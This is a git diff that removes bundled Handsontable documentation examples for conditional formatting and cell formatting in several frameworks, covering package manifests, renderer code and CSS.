    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer, registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n// display losses in an accounting format, so color is not the only signal\nconst profitRenderer: BaseRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n const amount = Number(value);\n\n td.classList.remove('loss-cell');\n\n if (!Number.isFinite(amount)) {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n return;\n }\n\n const formatted = amount < 0\n ? `($${Math.abs(amount).toFixed(1)}M)`\n : `$${amount.toFixed(1)}M`;\n\n textRenderer(instance, td, row, col, prop, formatted, cellProperties);\n\n if (amount < 0) {\n td.classList.add('loss-cell');\n }\n};\n\nregisterRenderer('profitRenderer', profitRenderer);\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n {},\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n { renderer: 'profitRenderer' },\n ],\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"#example2 .handsontable td.loss-cell {\n color: #d81e2c;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example2 .handsontable td.loss-cell {\n color: #ff5c70;\n}"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example2.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example2","exampleTitle":"Format cells with a custom renderer","docPermalink":"/conditional-formatting","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example3.js.json deleted file mode 100644 index 3ca5eaeb..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Conditional formatting · Build a color scale · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n// register Handsontable's modules\nregisterAllModules();\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n// shade the background from red (low) to green (high); the value stays visible\nconst heatmapRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n const amount = Number(value);\n if (Number.isFinite(amount)) {\n const values = instance.getData()\n .flatMap((rowData) => rowData.slice(1))\n .map(Number)\n .filter((cellValue) => Number.isFinite(cellValue));\n const min = Math.min(...values);\n const max = Math.max(...values);\n const ratio = min === max ? 0.5 : (amount - min) / (max - min);\n const hue = Math.round(ratio * 120);\n td.style.background = `hsl(${hue}, 75%, 85%)`;\n td.style.color = '#1b1b1b';\n }\n};\nregisterRenderer('heatmapRenderer', heatmapRenderer);\nconst container = document.querySelector('#example3');\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n {},\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n ],\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example3.js","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example3","exampleTitle":"Build a color scale","docPermalink":"/conditional-formatting","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example3.ts.json deleted file mode 100644 index e4f3173a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Conditional formatting · Build a color scale · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer, registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n// shade the background from red (low) to green (high); the value stays visible\nconst heatmapRenderer: BaseRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n const amount = Number(value);\n\n if (Number.isFinite(amount)) {\n const values = instance.getData()\n .flatMap((rowData) => rowData.slice(1))\n .map(Number)\n .filter((cellValue) => Number.isFinite(cellValue));\n const min = Math.min(...values);\n const max = Math.max(...values);\n const ratio = min === max ? 0.5 : (amount - min) / (max - min);\n const hue = Math.round(ratio * 120);\n\n td.style.background = `hsl(${hue}, 75%, 85%)`;\n td.style.color = '#1b1b1b';\n }\n};\n\nregisterRenderer('heatmapRenderer', heatmapRenderer);\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data,\n colHeaders: ['Company', 'Q1', 'Q2', 'Q3', 'Q4'],\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n columns: [\n {},\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n { renderer: 'heatmapRenderer' },\n ],\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example3.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example3","exampleTitle":"Build a color scale","docPermalink":"/conditional-formatting","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__react__example1.tsx.json deleted file mode 100644 index 7ad4c7f0..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Conditional formatting · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\nconst ExampleComponent = () => {\n return (\n 0) {\n cellProperties.className = '';\n\n const value = data[row]?.[col];\n\n if (typeof value === 'number' && value < 0) {\n cellProperties.className = 'loss';\n } else if (typeof value === 'number' && value > 10) {\n cellProperties.className = 'strong-quarter';\n }\n }\n\n return cellProperties;\n }}\n />\n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"#example1 .handsontable td.company-name {\n font-weight: 600;\n}\n\n#example1 .handsontable td.loss {\n color: #d81e2c;\n background: var(--ht-cell-error-background-color, rgba(216, 30, 44, 0.14));\n background: color-mix(in srgb, #d81e2c 16%, var(--ht-background-color, #ffffff));\n}\n\n#example1 .handsontable td.loss::before {\n content: \"▼ \";\n}\n\n#example1 .handsontable td.strong-quarter {\n color: #157a3d;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.loss {\n color: #ff5c70;\n background: color-mix(in srgb, #ff5c70 22%, var(--ht-background-color, #000000));\n}\n\nhtml[data-theme=\"dark\"] #example1 .handsontable td.strong-quarter {\n color: #22c55e;\n}"},"docsPath":"guides/cell-features/conditional-formatting/react/example1.tsx","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__react__example2.tsx.json deleted file mode 100644 index ae9172af..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Conditional formatting · Format cells with a custom renderer · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer, registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n// display losses in an accounting format, so color is not the only signal\nconst profitRenderer: BaseRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n const amount = Number(value);\n\n td.classList.remove('loss-cell');\n\n if (!Number.isFinite(amount)) {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n return;\n }\n\n const formatted = amount < 0\n ? `($${Math.abs(amount).toFixed(1)}M)`\n : `$${amount.toFixed(1)}M`;\n\n textRenderer(instance, td, row, col, prop, formatted, cellProperties);\n\n if (amount < 0) {\n td.classList.add('loss-cell');\n }\n};\n\nregisterRenderer('profitRenderer', profitRenderer);\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"#example2 .handsontable td.loss-cell {\n color: #d81e2c;\n font-weight: 600;\n}\n\nhtml[data-theme=\"dark\"] #example2 .handsontable td.loss-cell {\n color: #ff5c70;\n}"},"docsPath":"guides/cell-features/conditional-formatting/react/example2.tsx","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example2","exampleTitle":"Format cells with a custom renderer","docPermalink":"/conditional-formatting","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__react__example3.tsx.json deleted file mode 100644 index e67bb72a..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Features ▸ Conditional formatting · Build a color scale · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer, registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst data = [\n ['Acme Corp', 4.2, 5.1, -1.3, 6.8],\n ['Vertex Industries', 12.5, 11.9, 13.2, 14],\n ['Harbor Analytics', -2.4, 0.8, 2.1, 3.5],\n ['Summit Logistics', 8.7, -3.2, 4.4, 5.9],\n ['Pioneer Foods', 1.1, 1.4, 0.9, -0.5],\n ['Meridian Retail', 6, 7.3, 8.1, 9.4],\n];\n\n// shade the background from red (low) to green (high); the value stays visible\nconst heatmapRenderer: BaseRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n const amount = Number(value);\n\n if (Number.isFinite(amount)) {\n const values = instance.getData()\n .flatMap((rowData) => rowData.slice(1))\n .map(Number)\n .filter((cellValue) => Number.isFinite(cellValue));\n const min = Math.min(...values);\n const max = Math.max(...values);\n const ratio = min === max ? 0.5 : (amount - min) / (max - min);\n const hue = Math.round(ratio * 120);\n\n td.style.background = `hsl(${hue}, 75%, 85%)`;\n td.style.color = '#1b1b1b';\n }\n};\n\nregisterRenderer('heatmapRenderer', heatmapRenderer);\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/conditional-formatting/react/example3.tsx","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example3","exampleTitle":"Build a color scale","docPermalink":"/conditional-formatting","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__vue__example1.vue.json deleted file mode 100644 index 3a609eb2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Conditional formatting · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-features/conditional-formatting/vue/example1.vue","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__vue__example2.vue.json deleted file mode 100644 index 8a71ff14..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Conditional formatting · Format cells with a custom renderer · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-features/conditional-formatting/vue/example2.vue","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example2","exampleTitle":"Format cells with a custom renderer","docPermalink":"/conditional-formatting","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__vue__example3.vue.json deleted file mode 100644 index e011bdbd..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__conditional-formatting__vue__example3.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Features ▸ Conditional formatting · Build a color scale · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/conditional-formatting/vue/example3.vue","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example3","exampleTitle":"Build a color scale","docPermalink":"/conditional-formatting","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__angular__example1.ts.json deleted file mode 100644 index b70424e7..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__formatting-cells__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Features ▸ Formatting cells · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n 